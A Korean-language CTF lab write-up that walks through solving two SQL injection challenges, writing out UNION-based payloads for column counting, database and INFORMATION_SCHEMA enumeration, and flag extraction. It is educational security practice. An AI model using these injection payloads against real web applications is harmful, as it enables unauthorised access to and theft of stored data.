문제는 아래와 같은 페이지에서 비밀 데이터를 찾아내는 것입니다
페이지를 관찰해보니 아이디를 검색해 해당 아이디의 정보를 보는 곳 같네요
저장된 데이터를 출력해야하니 DB를 활용하는 페이지입니다
숨겨져 있는 데이터를 찾아야 하니 UNION을 활용해 출력되지 않은 컬럼 또는 다른 테이블의 데이터를 뽑아보려 합니다
대충 보아하니 서버에 작성된 쿼리문은 SELECT [컬럼들] FROM [테이블] WHERE [아이디 조건]
의 형태일 듯 한데,
몇 가지 아이디 검색을 통해 조건 부분을 더 구체화 시켜 보도록 하겠습니다
정확한 아이디 검색
: bello 라는 아이디를 하나 골라 정확히 검색해 보았습니다
결과가 잘 나오고 있네요
아이디 일부만 검색
: bello의 일부만 검색해서 조건부분이 어떻게 작성되어 있을지 추측해보려고 합니다.
be, ell, lo를 각각 검색해서 어떤 결과가 나오는 지 확인합니다
모두 똑같은 결과입니다
아마 조건절은 WHERE 아이디 LIKE '%[검색어]%'
형태일 듯 합니다
그럼 서버에 작성된 SQL 문은 SELECT [컬럼들] FROM [테이블] WHERE 아이디 LIKE '%[검색어]%'
일 것 같네요
이걸 기반으로 비밀 데이터를 찾아보도록 하겠습니다
UNION을 활용하려면 서버에 작성된 SELECT 쿼리와 컬럼 개수가 동일해야 하니,
ORDER BY
를 이용해 컬럼 개수를 알아내도록 하겠습니다
아까 추측한 서버의 쿼리문이 SELECT [컬럼들] FROM [테이블] WHERE 아이디 LIKE '%[검색어]%'
이니,
여기서 ORDER BY
를 사용하려면, 검색어는 %' ORDER BY 인덱스#
이 되어야 합니다
%' ORDER BY 4#
까지는 정상적으로 테이블이 출력되었지만, %' ORDER BY 5#
에서는 아무 데이터가 출력되지 않았습니다
SELECT 쿼리문의 컬럼은 딱 4개인 듯 합니다
원래 출력되던 컬럼도 4개, SELECT 쿼리문의 컬럼 개수도 4개인 것으로 보아
우리가 출력해야 할 비밀 데이터는 다른 테이블에 있을 가능성이 커 보입니다
2번에서 SELECT 문의 컬럼 개수가 4개인 것을 확인했으니,
이제 그 4개의 컬럼이 모두 출력되는 게 맞는 지 확인해보려고 합니다
%' union select 1,2,3,4 #
를 검색하고 결과를 확인해보겠습니다
다 잘 출력되고 있네요
SELECT 문의 컬럼 4개는 모두 페이지에 출력이 되는 컬럼이었습니다
DB에 어떤 테이블과 컬럼이 있는 지 알기 위해서는 DB의 이름을 알아야 합니다
DB 이름을 출력하는 명령은 SELECT database()
이므로
%' union select database(), 2,3,4 #
를 검색합니다
DB 이름은 sqli_1인 것을 확인할 수 있었습니다
이제 DB 안에 어떤 테이블이 있는지 확인해보겠습니다
테이블 명을 확인하려면 아래와 같은 SQL 쿼리를 작성해야 합니다
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_1'
그렇다면 아래와 같이 검색하면 되겠습니다
%' UNION SELECT TABLE_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_1' #
flag_table, plusFlag_Table, user_info 이렇게 세 개의 테이블이 있네요
우리는 flag를 찾아야 하니 flag_table과 plusFlug_Table을 살펴보도록 하겠습니다
그럼 테이블 안에 어떤 컬럼이 있는지 알아보겠습니다
%' UNION SELECT COLUMN_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag_table' #
을 검색한 결과를 볼까요?
flag라는 컬럼 1개가 있네요
그렇다면 plusFlag_Table에는 어떤 컬럼이 있는지 확인해볼까요?
%' UNION SELECT COLUMN_NAME, 2, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'plusFlag_Table' #
idx와 flag라는 컬럼이 있습니다
테이블과 컬럼 이름을 모두 알았으니 이걸 바탕으로 검색을 해보겠습니다
우선 테이블 이름 상 flag_table에 flag가 있을 가능성이 가장 높아보이니, 이 테이블의 데이터를 추출해보겠습니다
%' UNION SELECT flag, 2, 3, 4 FROM flag_table #
를 검색해 보겠습니다
flag가 나왔네요
이렇게 숨겨진 데이터를 추출하는 문제를 풀어보았습니다
먼저 SQL Injection 1의 페이지와 거의 똑같이 생겼지만,
검색을 하지 않았을 때는 아무런 데이터가 보이지 않고 검색창에 'normaltic'이라는 단어가 value 값으로 들어가 있습니다
주어진 정보를 활용해 normaltic을 검색해봅니다
일부만 검색해도 normaltic이라는 단어가 나오는 지 확인해보았더니,
DB에 저장된 정확한 단어를 검색해야 제대로 된 정보가 나오고 그렇지 않은 경우 검색한 단어가 그대로 출력됩니다
정확한 검색어를 입력한 경우 info 값을 찾아 출력해주고,
그렇지 않은 경우는 입력받은 검색어만 출력해주는 방식 같습니다
SQL 구조는 대충 아래와 같을 것으로 예상됩니다
SELECT [컬럼들] FROM [테이블] WHERE 아이디='[검색어]'
SELECT [컬럼들] FROM [테이블] WHERE 아이디='[검색어]'
이 구조에서 몇 개의 컬럼이 select 되고 있는 지 알아보기 위해 ORDER BY
를 활용해보겠습니다
a' order by N #
검색을 통해 6 개의 column이 select 되고 있는 것을 확인했습니다
6개의 컬럼 중에 어떤 컬럼이 실제 페이지에 출력되고 있는 지 알아보기 위해,
a' union select 1, 2, 3, 4, 5, 6 #
을 검색합니다
6번 위치의 컬럼만 보이는 것을 알 수 있습니다
그럼 이제 DB 이름을 확인해보겠습니다
a' union select 1,2,3,4,5,database() #
를 검색하니 sqli_5
라는 DB명을 발견했습니다
그럼 sqli_5
에 어떤 테이블이 있는지 알아봅시다
a' union SELECT 1,2,3,4,5,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_5'#
를 검색하니 flag_honey
라는 테이블이 있는 것을 발견했습니다
그럼 찾은 테이블에 어떤 컬럼이 있는지 확인해 보겠습니다
a' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag_honey' #
를 검색하니 flag
라는 컬럼이 있는 것을 발견했습니다
이제 남은 단계는 데이터 추출입니다
a' union select 1,2,3,4,5,flag from flag_honey #
를 검색했습니다
앗 여기가 아니라고 하네요????
단계를 따라오면서 다른 DB나 테이블, 컬럼은 못 봤는데요...
생각해보니 딱 검색어에 대한 결과 1줄만 나오는 구조라 다른 데이터들이 있어도 2번째 줄 이상에 있다면 안 나왔을 것 같네요..
어디서부터 놓쳤는지 돌아가기 위해 다른 컬럼이 있었는지부터 알아보겠습니다
a' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag_honey' and COLUMN_NAME LIKE 'a%' #
여기서 COLUMN_NAME LIKE 'a%'
부분의 a%
를 a부터 z까지 돌려 다른 컬럼이 있나 찾아보았습니다
flag_honey
테이블 안에 컬럼은 flag 밖에 없는 것 같네요
그럼 다른 테이블을 찾아 보겠습니다
a' union SELECT 1,2,3,4,5,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_5' and TABLE_NAME LIKE 'a%'#
여기서 TABLE_NAME LIKE 'a%'
부분의 a%
를 a부터 z까지 돌려 다른 테이블이 있나 찾아보았습니다
game_user
와 secret
이라는 테이블을 추가로 발견했습니다
secret
이 유력해보이니 이 테이블의 컬럼을 조사해봅니다
이 테이블에도 flag
라는 컬럼이 있어 데이터를 추출해보았습니다
여기도 아니라네요...
혹시 flag 값이 여러개는 아닌지 조사해봅시다
a' union select 1,2,3,4,5,flag from secret order by 1 desc #
를 검색하면 행의 순서가 내림차순으로 바뀝니다
만약 결과가 여러개였다면 info에 나타나는 데이터도 달라지겠죠?
flag를 찾았습니다
이번 문제는 출력 데이터가 1개만 보이는 상황에서 여러개의 결과 값이 있는 상황을 찾아나가는 문제였네요